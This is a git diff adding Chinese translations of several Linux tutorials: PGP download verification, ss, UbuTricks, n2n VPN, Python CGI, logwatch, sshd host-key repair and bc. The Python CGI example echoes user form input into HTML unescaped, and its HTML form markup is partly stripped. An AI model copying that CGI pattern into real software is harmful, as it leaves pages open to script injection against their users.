+一旦你建立了与文件拥有者和他的/她的公钥之间的信任关系,我们需要验证你从拥有者那边下载的文件的可靠性和完整性了。 + +本例中,文件拥有者分别公布了一个文件和它相关的PGP签名(.asc)。签名所起的作用就是认证(文件)并且在其中加入一个时间戳。 + +一个典型的签名(*.asc)看上去像这样。 + + -----BEGIN PGP SIGNATURE----- + + iQIcBAABCgAGBQJUJGhsAAoJEP1yCtnro0sc1jUP/ixNY/lKdrcMIAUoqlWKNE8f + sj4SFiwREMew76w66GASDF03fa5zPX6EsS2kucgx8ZsfEiSmN5T0y2P/aSaXwZqF + kywZVEzirKtca5AJ4DBzu6qrt9GgSw6JBJVv1oBJCMNyO+eAj341paR3MudvnyQz + H/N5tc4Qcilzy6M184opGIzy4ipEmMXfLHsd7WJpAyn+tO/z3uhh9NkNuygZpaFr + olpSWPE8revdDJyfMfSmb3ZrFmhLn7FCEltOi+a7SluvrMclizfnbec9rgLJtjo0 + CPDZY7tsWmmL0DA3VvpMVqGvkg/Dyhpn2IIDrNaLAlvGQ5aovf+4tjad5IHvyaWx + 4Gds93G6Hqvv5RwGx7OR3hgt2o0Y+qFsVDxVnPxerGhXeJXHzSDwLQMpdj9IoSU + Ae/53XXnxqSN6POZcwHiHvbsv0pdlg0Ea0dDAAN0ZeINNyZf1R0tLjWkcgpvGCtv + qkJuYFF9W9cWHraPY2ov5Hs/JZzPcG0eVpnDdzfOOH1gDKADq9A5D2X5QJCulsh9 + WwU3X+E43OqIsoRzBucItD9HhZbEH7t8Q0xAqnAkgU3hriZp3dN4cnMfhM6I9hli + EmpSpLKCceMexu2o9QgzGXVm+AGZJe4QkuwAhRIccp5JDMVny61UlKTasjy6co8h + 5GBhhYybPEFM+G1BODMd + =c9wo + -----END PGP SIGNATURE----- + +现在让我们同时下载它的文件和签名: + + $ wget https://onionshare.org/files/0.6/OnionShare.dmg + $ wget https://onionshare.org/files/0.6/OnionShare.dmg.asc + +现在验证下载文件的PGP签名。 + + $ gpg --verify OnionShare.dmg.asc OnionShare.dmg + +![](https://farm4.staticflickr.com/3940/15361265960_c64f19707d_z.jpg) + +如果命令的输出包含了“Good signature from <文件所属者>”,那么下载的.dmg文件就被成功地认证和核实了。如果下载的文件的任何地方在签名后被篡改了,那么验证就会失败。 + +这时你就可以放心地信任你下载的文件了。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/verify-authenticity-integrity-downloaded-file.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://en.wikipedia.org/wiki/Collision_attack +[2]:https://www.gnupg.org/gph/en/manual/x334.html \ No newline at end of file diff --git a/published/201412/20141017 Linux ss Tool to Identify Sockets or Network Connections with Examples.md b/published/201412/20141017 Linux ss Tool to Identify Sockets or Network Connections with Examples.md new file mode 100644 index 0000000000..271e1595d3 --- /dev/null +++ b/published/201412/20141017 Linux ss Tool to Identify Sockets or Network Connections with Examples.md @@ -0,0 +1,66 @@ +在Linux中的使用 ss 命令检查套接字/网络连接 +================================================================================ +ss是iproute2包的一部分(控制TCP/IP网络和流量的工具)。iproute2的目标是替代先前用于配置网络接口、路由表和管理ARP表的标准Unix网络工具套装(通常称之为“net-tools”)。ss工具用于导出套接字统计,它可以显示与netstat类似的信息,且可以显示更多的TCP和状态信息。因为它直接从内核空间获取信息,所以会更快。ss的操作和netstat很像,所以这让它可以很容易就可以取代。 + +### 使用和常见选项 ### + +ss和netstat很像,默认它会显示已经建立连接的开放的非监听TCP套接字列表。并且你可以用下面的选项过滤输出: + +- **-n** - 不要尝试解析服务名。 +- **-r** - 尝试解析数字的地址/端口。 +- **-a** - 显示所有套接字。 +- **-l** - 显示监听套接字。 +- **-p** - 显示使用该套接字的进程。 +- **-s** - 打印统计数据 +- **-t** - 只显示TCP套接字。 +- **-u** - 只显示UDP套接字。 +- **-d** - 只显示DCCP套接字 +- **-w** - 只显示RAW套接字。 +- **-x** - 只显示Unix域套接字 +- **-f FAMILY** - 显示FAMILY套接字的类型。目前支持下面这些族:unix、inet、inet6、link、netlink。 +- **-A QUERY** - 指定要列出的套接字列表,通过逗号分隔。可以识别下面的标识符:all、inet、tcp、udp、raw、unix、packet、netlink、unix_dgram、unix_stream、packet_raw、packet_dgram。 +- **-o STATUS** - 列出指定状态的套接字 + +### ss 命令示例 ### + +**1.** 显示所有的的TCP端口和使用它们的进程: + + # ss -tnap + +![ss tnap](http://blog.linoxide.com/wp-content/uploads/2014/09/ss-tnap.jpg) + +**2.** 你可以使用-4 标志来显示IPv4链接,-6标志来显示IPv6链接,比如: + + # ss -tnap6 + +![ss tnap6](http://blog.linoxide.com/wp-content/uploads/2014/09/ss-tnap6.jpg) + +**3.** 跟上面的行为一样,你只需用u代替t就会显示所有开放的UDP端口。 + + # ss -unap + +![ss unap](http://blog.linoxide.com/wp-content/uploads/2014/09/ss-unap.jpg) + +**4.** 你可以使用-s标志来打印各种有用的统计数据: + + # ss -s + +![ss stats](http://blog.linoxide.com/wp-content/uploads/2014/09/ss-stats.jpg) + +**5.** 你可以使用-o标志来检查所有不同状态下的链接,比如显示所有已经建立的连接。 + + # ss -tn -o state established -p + +![ss est](http://blog.linoxide.com/wp-content/uploads/2014/09/ss-est.jpg) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/ss-sockets-network-connection/ + +作者:[Adrian Dinu][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ \ No newline at end of file diff --git a/published/201412/20141017 UbuTricks--Script to install the latest versions of several games and applications in Ubuntu.md b/published/201412/20141017 UbuTricks--Script to install the latest versions of several games and applications in Ubuntu.md new file mode 100644 index 0000000000..51e988fb3c --- /dev/null +++ b/published/201412/20141017 UbuTricks--Script to install the latest versions of several games and applications in Ubuntu.md @@ -0,0 +1,94 @@ +使用 UbuTricks 在ubuntu上安装最新游戏和应用 +=== +UbuTricks是一个可以帮助你在ubuntu上安装几个最新版本的游戏和应用的程序。 + +UbuTricks是一个有简单界面,基于Zenity的图形脚本。虽然早期开发中,它的目标是通过简单的界面操作来安装Ubuntu14.04 及以后发行版上应用程序的更新。 + +应用程序会自动下载安装。一些更新可能会需要ppa,其它的将会通过编译源代码安装。编译过程可能会需要一些时间,当从ppa或者deb文件安装应该会快一点,取决于你的下载速度。 + +###一共有以下几种安装方式: + +- PPA - 程序将会从PPA下载安装 +- DEB - 程序将会从DEB文件进行安装 +- Source - 程序会进行编译安装 (可能需要一点时间) +- Script - 程序会通过开发者提供的脚本进行安装 +- Archive - 程序会通过压缩文件安装 +- Repository - 程序从仓库安装 (不是PPA) + +###你可以安装的应用程序列表 + +通过UbuTricks可以安装下面应用的最新版本: + +###游戏 + +- 0 A.D. +- Battle for Wesnoth (Dev) +- VCMI (Heroes III Engine) + +###文件管理 + +- PCManFM + +###互联网应用 + +- Geary +- HexChat +- QupZilla +- QuiteRSS + +###多媒体 + +- SMPlayer +- Transmageddon +- Kdenlive +- Fotoxx +- jAlbum +- GIMP +- Shutter +- Qmmp +- XBMC + +###办公/电子书/文档 + +- Calibre +- LibreOffice + +###工具 + +- Ubuntu Tweak + +###桌面环境 + +- Cinnamon + +###其他 + +- Google Earth +- Wine + +###下载,安装Ubuntutricks + +你可以从[这里][1]下载ubuntutricks,让它可执行然后双击脚本或者从终端里运行它。 + +###截图 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/10/116.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/10/213.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/10/35.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/10/45.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/ubutricks-script-to-install-the-latest-versions-of-several-games-and-applications-in-ubuntu.html + +作者:[ruchi][a] +译者:[DoubleShit](https://github.com/DoubleShit) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.tuxarena.com/intro/files/ubutricks.sh diff --git a/published/201412/20141021 Configuring layer-two peer-to-peer VPN using n2n.md b/published/201412/20141021 Configuring layer-two peer-to-peer VPN using n2n.md new file mode 100644 index 0000000000..692f83fc15 --- /dev/null +++ b/published/201412/20141021 Configuring layer-two peer-to-peer VPN using n2n.md @@ -0,0 +1,84 @@ +使用n2n配置二层点对点VPN +================================================================================ +n2n是一个二层点对点虚拟专用网(VPN),它允许用户在网络层面而非应用层面开发典型的P2P应用功能。这就意味着,用户可以获得本地IP可见性(如,属于同一个n2n网络的两台PC可以互相ping通),以及不管他们现在身处哪个网络,只要有相同的网络IP地址就可以访问到。简言之,就像OpenVPN将SSL从应用(如,用于部署https协议)搬到了网络协议一样,n2n将P2P从应用搬到了网络层面。 + +### n2n主要功能 ### + +n2n是一个基于P2P协议的加密的二层专用网。 + +加密使用开放协议部署在边缘节点,它使用用户定义的加密钥匙:你自己控制安全,而不用授权给公司,而Skype或Hamachi却是要的。 + +各个n2n用户可以同时属于多个网络(或者社区)。 + +它拥有在反向通信方向(如,从外部到内部)穿越NAT和防火墙的能力,因此可以到达n2n节点,即使运行在一个专用网中。防火墙不再是IP层面掌控通信的障碍。 + +n2n网络并不意味着它是独立的,它可以在n2n和非n2n网络间路由通信。 + +### n2n架构基于两个组件 ### + +**超级节点**:它在启动时用于边缘节点或用于达到对称防火墙后面的节点。对于这些节点,该应用主要是一个目录暂存器和包路由器,而不是直接通信。 + +**边缘节点**:安装在用户PC的应用程序,它允许构建n2n网络。实际上,各个边缘节点创建一个tun/tap设备,该设备是n2n网络的进入点。 + +### 安装n2n到Ubuntu ### + +打开终端并运行以下命令 + + $ sudo apt-get install subversion build-essential libssl-dev + $ svn co https://svn.ntop.org/svn/ntop/trunk/n2n + $ cd n2n/n2n_v2 + $ make + $ sudo make install + +### 使用n2n配置P2P VPN ### + +首先,我们需要配置一个超级节点和任意数量的边缘节点。 + +决定将超级节点放在哪个地方。假设你将它放到了主机a.b.c.d的xyw端口上。 + +决定使用何种密码加密来保证数据安全。假设你使用密码encryptme。 + +决定你想要使用的网络名称。假设你将它命名为mynetwork。注意,你可以使用超级节点/边缘节点来处理多个网络,不仅仅只有一个哦。 + +决定在边缘节点上使用什么IP地址。假设你使用10.1.2.0/24。 + +启动应用: + +### 配置超级节点 ### + + supernode -l xyw + +### 配置边缘节点 ### + +在各个边缘节点,使用以下命令来连接到P2P VPN。 + + sudo edge -a 10.1.2.1 -c mynetwork -k encryptme -l a.b.c.d:xyw + + sudo edge -a 10.1.2.2 -c mynetwork -k encryptme -l a.b.c.d:xyw + +### 现在来测试你的n2n网络 ### + + edge node1> ping 10.1.2.2 + + edge node2> ping 10.1.2.1 + +Windows n2n VPN客户端(N2N边缘图形界面) + +你可以从[这里][1]下载N2N边缘图形界面。 + +N2N边缘图形界面是一个基本的安装器和用于点对点‘n2n VPN解决方案’的GUI配置界面。 + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/10/client.jpg) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/configuring-layer-two-peer-to-peer-vpn-using-n2n.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://sourceforge.net/projects/n2nedgegui/ diff --git a/published/201412/20141021 How to create and use Python CGI scripts.md b/published/201412/20141021 How to create and use Python CGI scripts.md new file mode 100644 index 0000000000..e3d36ea9c4 --- /dev/null +++ b/published/201412/20141021 How to create and use Python CGI scripts.md @@ -0,0 +1,158 @@ +如何创建和使用Python CGI脚本 +=== + +你是否想使用Python语言创建一个网页,或者处理用户从web表单输入的数据?这些任务可以通过Python CGI(公用网关接口)脚本以及一个Apache web服务器实现。当用户请求一个指定URL或者和网页交互(比如点击""提交"按钮)的时候,CGI脚本就会被web服务器启用。CGI脚本调用执行完毕后,它的输出结果就会被web服务器用来创建显示给用户的网页。 + +### 配置Apache web服务器,让其能运行CGI脚本 ### + +在这个教程里,我们假设Apache web服务器已经安装好,并已运行。这篇教程使用的Apache web服务器(版本2.2.15,用于CentOS发行版6.5)运行在本地主机(127.0.0.1),并且监听80端口,如下面的Apache指令指定一样: + + ServerName 127.0.0.1:80 + Listen 80 + +下面举例中的HTML文件存放在web服务器上的/var/www/html目录下,并通过DocumentRoot指令指定(指定网页文件所在目录): + + DocumentRoot "/var/www/html" + +现在尝试请求URL:http://localhost/page1.html + +这将返回web服务器中下面文件的内容: + + /var/www/html/page1.html + +为了启用CGI脚本,我们必须指定CGI脚本在web服务器上的位置,需要用到ScriptAlias指令: + + ScriptAlias /cgi-bin/ "/var/www/cgi-bin/" + +以上指令表明CGI脚本保存在web服务器的/var/www/cgi-bin目录,请求URL里包含/cgi-bin/的将会搜索这个目录下的CGI脚本。 + +我们必须还要明确CGI脚本在/var/www/cgi-bin目录下有执行权限,还要指定CGI脚本的文件扩展名。使用下面的指令: + + + Options +ExecCGI + AddHandler cgi-script .py + + +下面访问URL:http://localhost/cgi-bin/myscript-1.py + +这将会调用web服务器中下面所示脚本: + + /var/www/cgi-bin/myscript-1.py + +### 创建一个CGI脚本 ### + +在创建一个Python CGI脚本之前,你需要确认你已经安装了Python(这通常是默认安装的,但是安装版本可能会有所不同)。本篇教程使用的脚本是使用Python版本2.6.6编写的。你可以通过下面任意一命令(-V和--version参数将显示所安装Python的版本号)检查Python的版本。 + + $ python -V + $ python --version + +如果你的Python CGI脚本要用来处理用户输入的数据(从一个web输入表单),那么你将需要导入Python cgi模块。这个模块可以处理用户通过web输入表单输入的数据。你可以在你的脚本中通过下面的语句导入该脚本: + + import cgi + +你也必须修改Python CGI脚本的执行权限,以防止web服务器不能调用。可以通过下面的命令增加执行权限: + + # chmod o+x myscript-1.py + +### Python CGI例子 ### + +涉及到Python CGI脚本的两个方案将会在下面讲述: + +- 使用Python脚本创建一个网页 +- 读取并显示用户输入的数据,并且在网页上显示结果 + +注意:Python cgi模块在方案2中是必需的,因为这涉及到用户从web表单输入数据。 + +### 例子1 :使用Python脚本创建一个网页 ### + +对于这个方案,我们将通过创建包含一个单一提交按钮的网页/var/www/html/page1.html开始。 + + +

Test Page 1

+
+ +
+ + +当"提交"按钮被点击,/var/www/cgi-bin/myscript-1.py脚本将被调用(通过action参数指定)。通过设置方法参数为"get"来指定一个"GET"请求,服务器将会返回指定的网页。/var/www/html/page1.html在浏览器中的显示情况如下: + +![](https://farm4.staticflickr.com/3933/14932853623_eff2df3260_z.jpg) + +/var/www/cgi-bin/myscript-1.py的内容如下: + + #!/usr/bin/python + print "Content-Type: text/html" + print "" + print "" + print "

CGI Script Output

" + print "

This page was generated by a Python CGI script.

" + print "" + +第一行声明表示这是使用 /usr/bin/python命令运行的Python脚本。"Content-Type: text/html"打印语句是必需的,这是为了让web服务器知道接受自CGI脚本的输出类型。其余的语句用来输出HTML格式的其余网页内容。 + +当"Submit"按钮点击,下面的网页将返回: + +![](https://farm4.staticflickr.com/3933/15553035025_d70be04470_z.jpg) + +这个例子的要点是你可以决定哪些信息可以被CGI脚本返回。这可能包括日志文件的内容,当前登陆用户的列表,或者今天的日期。在你处理时拥有所有python库的可能性是无穷无尽的。 + +### 例子2:读取并显示用户输入的数据,并将结果显示在网页上 ### + +对于这个方案,我们将通过创建一个含有三个输入域和一个提交按钮的网页/var/www/html/page2.html开始。 + + +

Test Page 2

+
+ First Name:
+ Last Name:
+ Position:
+ +
+ + +当"Submit"按钮点击,/var/www/cgi-bin/myscript-2.py脚本将被执行(通过action参数指定)。/var/www//html/page2.html显示在web浏览器中的图片如下所示(注意,三个输入域已经被填写好了): + +![](https://farm4.staticflickr.com/3935/14932853603_ffc3bd330e_z.jpg) + +/var/www/cgi-bin/myscript-2.py的内容如下: + + #!/usr/bin/python + import cgi + form = cgi.FieldStorage() + print "Content-Type: text/html" + print "" + print "" + print "

CGI Script Output

" + print "

" + print "The user entered data are:
" + print "First Name: " + form["firstName"].value + "
" + print "Last Name: " + form["lastName"].value + "
" + print "Position: " + form["position"].value + "
" + print "

" + print "" + +正如前面提到,import cgi语句用来确保能够处理用户通过web输入表单输入的数据。web输入表单被封装在一个表单对象中,叫做cgi.FieldStorage对象。一旦开始输出,"Content-Type: text/html"是必需的,因为web服务器需要知道接受自CGI脚本的输出格式。用户输入的数据在包含form["firstName"].value,form["lastName"].value,和 form["position"].value的语句中可以得到。那些中括号中的名称和**/var/www/html/page2.html**文本输入域中定义的名称参数一致。 + +当网页上的"Submit"按钮被点击,下面的网页将被返回。 + +![](https://farm4.staticflickr.com/3949/15367402150_946474dbb0_z.jpg) + +这个例子的要点就是你可以很容易地读取并显示用户在web表单上输入的数据。除了以字符串的方式处理数据,你也可以用Python将用户输入的数据转化为可用于数值计算的数字。 + +### 结论 ### + +本教程演示了如何使用Python CGI脚本创建网页并处理用户在网页表单输入的数据。查阅更多关于Apache CGI脚本的信息,点击[这里][1]。查阅更多关于Python cgi模块的信息,点击[这里][2]。 + +--- + +via: http://xmodulo.com/create-use-python-cgi-scripts.html + +作者:[Joshua Reed][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/joshua +[1]:http://httpd.apache.org/docs/2.2/howto/cgi.html +[2]:https://docs.python.org/2/library/cgi.html#module-cgi diff --git a/published/201412/20141021 How to monitor a log file on Linux with logwatch.md b/published/201412/20141021 How to monitor a log file on Linux with logwatch.md new file mode 100644 index 0000000000..0951bd5156 --- /dev/null +++ b/published/201412/20141021 How to monitor a log file on Linux with logwatch.md @@ -0,0 +1,132 @@ +Linux 系统中使用 logwatch 监控日志文件 +================================================================================ +Linux 操作系统和许多应用程序会创建特殊的文件来记录它们的运行事件,这些文件通常被称作“日志”。当要了解操作系统或第三方应用程序的行为或进行故障排查时,这些系统日志或特定的应用程序日志文件是必不可少的的工具。但是,日志文件并没有您们所谓的“清晰”或“容易”这种程度的可读性。手工分析原始的日志文件简直是浪费时间,并且单调乏味。出于这个原因,对于系统管理员来说,发现任何一款能把原始的日志文件转换成更人性化的记录摘要的工具,将会受益无穷。 + +[logwatch][1] 是一款用 Perl 语言编写的开源日志解析分析器。它能对原始的日志文件进行解析并转换成结构化格式的文档,也能根据您的使用情况和需求来定制报告。logwatch 的主要目的是生成更易于使用的日志摘要,并不是用来对日志进行实时的处理和监控的。正因为如此,logwatch 通常被设定好时间和频率的自动定时任务来调度运行或者是有需要日志处理的时候从命令行里手动运行。一旦日志报告生成,logwatch 可以通过电子邮件把这报告发送给您,您可以把它保存成文件或者直接显示在屏幕上。 + +Logwatch 报告的详细程度和报告覆盖范围是完全可定制化的。Logwatch 的日志处理引擎也是可扩展的,从某种意义上来说,如果您想在一个新的应用程序中使用 logwatch 功能的话,只需要为这个应用程序的日志文件编写一个日志处理脚本(使用 Perl 语言),然后挂接到 logwatch 上就行。 + +logwatch 有一点不好的就是,在它生成的报告中没有详细的时间戳信息,而原来的日志文件中是存在的。您只能知道被记录下来的一段时间之内的特定事件,如果想要知道精确的时间点的信息,就不得不去查看原日志文件了。 + +### 安装 Logwatch ### + +在 Debian 系统或其派生的系统上: + + # aptitude install logwatch + +在基于 Red Hat 的发布系统上: + + # yum install logwatch + +### 配置 Logwatch ### + +安装时,主要的配置文件(logwatch.conf)被放到 **/etc/logwatch/conf** 目录中。此文件(默认是空的)定义的设置选项会覆盖掉定义在 /usr/share/logwatch/default.conf/logwatch.conf 文件中的系统级设置。 + +在命令行中,启动 logwatch, 如果不带参数的话,将会使用 /etc/logwatch/conf/logwatch.conf 文件中定义的选项。但,只要一指定参数,它们就会覆盖 /etc/logwatch/conf/logwatch.conf 文件中的任意默认/自定义设置。 + +这篇文章里,我们会编辑 /etc/logwatch/conf/logwatch.conf 文件来对一些默认的设置项做些个性化设置。 + + Detail = + +“Detail” 配置指令控制着 logwatch 报告的详细程度。它可以是个正整数,也可以是分别代表着10、5和0数字的 High、Med、Low 几个选项。 + + MailTo = youremailaddress@yourdomain.com + +如果您让把一份 logwatch 的报告邮件给您,就要使用 “MailTo” 这个配置指令。要把一份报告发送给多个用户,只需要把他们的邮件地址用空格格开,然后配置上去。但是,您需要在 logwatch 运行的服务器上配置好本地邮件传输代理(MTA)如,sendmail、 Postfix 等,这个配置指令项才能起作用。 + + Range = + +"Range" 配置指令定义了生成 logwatch 报告的时间段信息。这个指令通常可选的值是 Yesterday、Today、All。当作用了“Rang = All”时,“Archive = yes” 这个指令项也必须配置上,那么所有的已存档的日志文件 (比如,/var/log/maillog、/var/log/maillog.X 或 /var/log/maillog.X.gz 文件)都会被处理到。 + +除了这些通用的 range 值,您也可以使用复杂点的选择值,如下所示: + +- Range = "2 hours ago for that hour" +- Range = "-5 days" +- Range = "between -7 days and -3 days" +- Range = "since September 15, 2014" +- Range = "first Friday in October" +- Range = "2014/10/15 12:50:15 for that second" + +要使用上面例子中自由形式的 range,您需要从 CPAN(注:Comprehensive Perl Archive Network) 上下载安装 Perl 的 Date::Manip 模块。关于 CPAN 模块的安装说明,请请参阅[此帖][2] 。 + + Service = + Service = + . . . + +“Service” 选项指定想要监控的一个或多个服务。在 /usr/share/logwatch/scripts/services 目录下列出的服务都能被监控,它们已经涵盖了重要的系统服务(例如:pam,secure,iptables,syslogd 等),也涵盖了一些像 sudo、sshd、http、fail2ban、samba等主流的应用服务。如果您想添加新的服务到列表中,得编写一个相应的日志处理 Perl 脚本,并把它放在这个目录中。 + +如果这个选项要用来选择特定的服务话,您需要把 /usr/share/logwatch/default.conf/logwatch.conf 文件中的 "Service = All " 这一行注释掉。 + +![](https://farm6.staticflickr.com/5612/14948933564_94cbc5353c_z.jpg) + + Format = + +“Format” 配置指令定义了一份 logwatch 报告的格式(比如 text 或者 HTML)。 + + Output = + +"Output" 配置指令定义生成的 logwatch 报告要发送的目的地。它能被保存成文件(file),生成电子邮件(mail)或者是直接在屏幕上显示(stdout)。 + +### 用 Logwatch 来分析日志文件 ### + +要弄明白怎么使用 logwatch 来分析日志文件,可以参考下面的 logwatch.conf 文件例子: + + Detail = High + MailTo = youremailaddress@yourdomain.com + Range = Today + Service = http + Service = postfix + Service = zz-disk_space + Format = html + Output = mail + +使用这些设置,logwatch 将会处理三个应用服务(http、postfix 和 zz-disk_space)当天产生的日志,生成一份非常详细的 HTML 格式报告,然后邮件给您。 + +如果您不想个性化 /etc/logwatch/conf/logwatch.conf,您可以不修改此文件让其默认,然后在命令行里运行如下所示的命令。也会得到同样的输出。 + + # logwatch --detail 10 --mailto youremailaddress@yourdomain.com --range today --service http --service postfix --service zz-disk_space --format html --output mail + +电子邮件发送的报告样子如图示: + +![](https://farm6.staticflickr.com/5611/15383540608_57dc37e3d6_z.jpg) + +这份电子邮件头部包含指向导航到报告细节的链接,在每个选中的服务细节,也会有“返回顶部”的链接。 + +接收人很少的情况下您可能会使用电子邮件发送报告这个选项。其它情况下,您可能会把让其生成为 HTML 格式的报告,这样每个想看这份报告的人都可以从网络共享里看到。只需要把上面例子中的配置做些修改就可以实现: + + Detail = High + Range = Today + Service = http + Service = postfix + Service = zz-disk_space + Format = html + Output = file + Filename = /var/www/html/logs/dev1.html + +同样的,也可以在命令行中运行如下的命令。 + + # logwatch --detail 10 --range today --service http --service postfix --service zz-disk_space --format html --output file --filename /var/www/html/logs/dev1.html + +最后,让我们使用 cron 来配置 logwatch 的定时执行任务。下面的例子中,将会在每个工作日的下午 12:15 分运行 logwatch 调度任务。 + + # crontab -e + +---------- + + 15 12 * * 1,2,3,4,5 /sbin/logwatch + +希望这会有所帮助。欢迎到社区发表评论或分享自己的心得和体会! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/monitor-log-file-linux-logwatch.html + +作者:[Gabriel Cánepa][a] +译者:[runningwater](https://github.com/runningwater) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://sourceforge.net/projects/logwatch/ +[2]:http://xmodulo.com/how-to-install-perl-modules-from-cpan.html \ No newline at end of file diff --git a/published/201412/20141022 Linux FAQs with Answers--How to fix sshd error--could not load host key.md b/published/201412/20141022 Linux FAQs with Answers--How to fix sshd error--could not load host key.md new file mode 100644 index 0000000000..f30a6c904b --- /dev/null +++ b/published/201412/20141022 Linux FAQs with Answers--How to fix sshd error--could not load host key.md @@ -0,0 +1,63 @@ +Linux有问必答:如何修复“sshd error: could not load host key” +================================================================================ +> **问题**:当我尝试SSH到一台远程服务器时,SSH客户端登陆失败并提示“Connection closed by X.X.X.X”。在SSH服务器那端,我看到这样的错误消息:“sshd error: could not load host key.”。这发生了什么问题,我怎样才能修复该错误? + +该SSH连接错误的详细症状如下。 + +**SSH客户端方面**:当你尝试SSH到一台远程主机时,你没有看见登录屏幕,你的SSH连接就立即关闭,并提示此消息:“Connection closed by X.X.X.X”。 + +**SSH服务器方面**:在系统日志中,你看到如下错误消息(如,在Debian/Ubuntu上,/var/log/auth.log)。 + + Oct 16 08:59:45 openstack sshd[1214]: error: Could not load host key: /etc/ssh/ssh_host_rsa_key + Oct 16 08:59:45 openstack sshd[1214]: error: Could not load host key: /etc/ssh/ssh_host_dsa_key + Oct 16 08:59:45 openstack sshd[1214]: error: Could not load host key: /etc/ssh/ssh_host_ecdsa_key + Oct 16 08:59:45 openstack sshd[1214]: fatal: No supported key exchange algorithms [preauth] + +导致该问题的根源是,sshd守护进程不知怎么地不能加载SSH主机密钥了。 + +当OpenSSH服务器第一次安装到Linux系统时,SSH主机密钥应该会自动生成以供后续使用。如果,不管怎样,密钥生成过程没有成功完成,那就会导致这样的SSH登录问题。 + +让我们检查能否在相应的地方找到SSH主机密钥。 + + $ ls -al /etc/ssh/ssh*key + +![](https://farm4.staticflickr.com/3931/15367231099_61b9087256_z.jpg) + +如果SSH主机密钥在那里找不到,或者它们的大小被截断成为0(就像上面那样),你需要从头开始重新生成主机密钥。 + +### 重新生成SSH主机密钥 ### + +在Debian、Ubuntu或其衍生版上,你可以使用dpkg-reconfigure工具来重新生成SSH主机密钥,过程如下: + + $ sudo rm -r /etc/ssh/ssh*key + $ sudo dpkg-reconfigure openssh-server + +![](https://farm4.staticflickr.com/3931/15551179631_363e6a9047_z.jpg) + +在CentOS、RHEL或Fedora上,你所要做的是,删除现存(有问题的)密钥,然后重启sshd服务。 + + $ sudo rm -r /etc/ssh/ssh*key + $ sudo systemctl restart sshd + +另外一个重新生成SSH主机密钥的方式是,使用ssh-keygen命令来手动生成。 + + $ sudo ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key + $ sudo ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key + $ sudo ssh-keygen -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key + +![](https://farm6.staticflickr.com/5603/15367844767_cdfd9716c8_z.jpg) + +在生成新的SSH主机密钥后,确保它们能在/etc/ssh目录中找到。此时,不必重启sshd服务。 + + $ ls -al /etc/ssh/ssh*key + +现在,再试试SSH到SSH服务器吧,看看问题是否已经离你而去了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/sshd-error-could-not-load-host-key.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201412/20141023 What is a good command-line calculator on Linux.md b/published/201412/20141023 What is a good command-line calculator on Linux.md new file mode 100644 index 0000000000..267549b251 --- /dev/null +++ b/published/201412/20141023 What is a good command-line calculator on Linux.md @@ -0,0 +1,115 @@ +怎么样称得上是Linux下优秀的命令行计算器 +================================================================================ +每个现代的Linux桌面发行版都预装着一个带有图形界面的计算器程序。不过如果你的工作区中全是命令行窗口,那么你一定会在其中的一个命令行窗口中处理一些数字相关的问题。或许你在寻找一款基于命令行的计算器程序。如果是这样的话,[GNU bc][1](“basic calculator”的缩写)会是你不二的选择。当然Linux下有很多基于命令行的计算器应用,我认为GNU bc是功能最强大和最有用的。 + +在GNU时代之前,bc实际上是一个著名的精密计算语言。它的诞生要追溯到70年代的Unix时期了。最初bc作为一个语法和C语言相似的编程语言而著名。随着时间的改变,最开始的bc演化成POSIX bc,最后变成了今天的GNU bc。 + +### GNU bc的特性 ### + +现在的GNU bc是早期bc经过若干次改进和功能增强的结果。目前它被所有的主流GNU/Linux发行版所收纳。GNU bc支持高精度数字和多种数值类型(例如二进制、十进制、十六进制)的输入输出。 + +如果你对C语言很熟悉的话,你会发现bc使用了和C语言一样或相似的算术操作符。所支持的操作符包括算术运算符(+, -, *, /, %, ++, --)、比较运算符(<, >, ==, !=, <=, >=)、逻辑运算符(!, &&, ||)、位运算符(&, |, ^, ~, <<, >>)和复合赋值运算符(+=, -=, *=, /=, %=, &=, |=, ^=, &&=, ||=, <<=, >>=)。bc内置了很多有用的函数,像是平方根、正弦、余弦、反正弦、自然对数、指数等。 + +### 如何使用GNU bc ### + 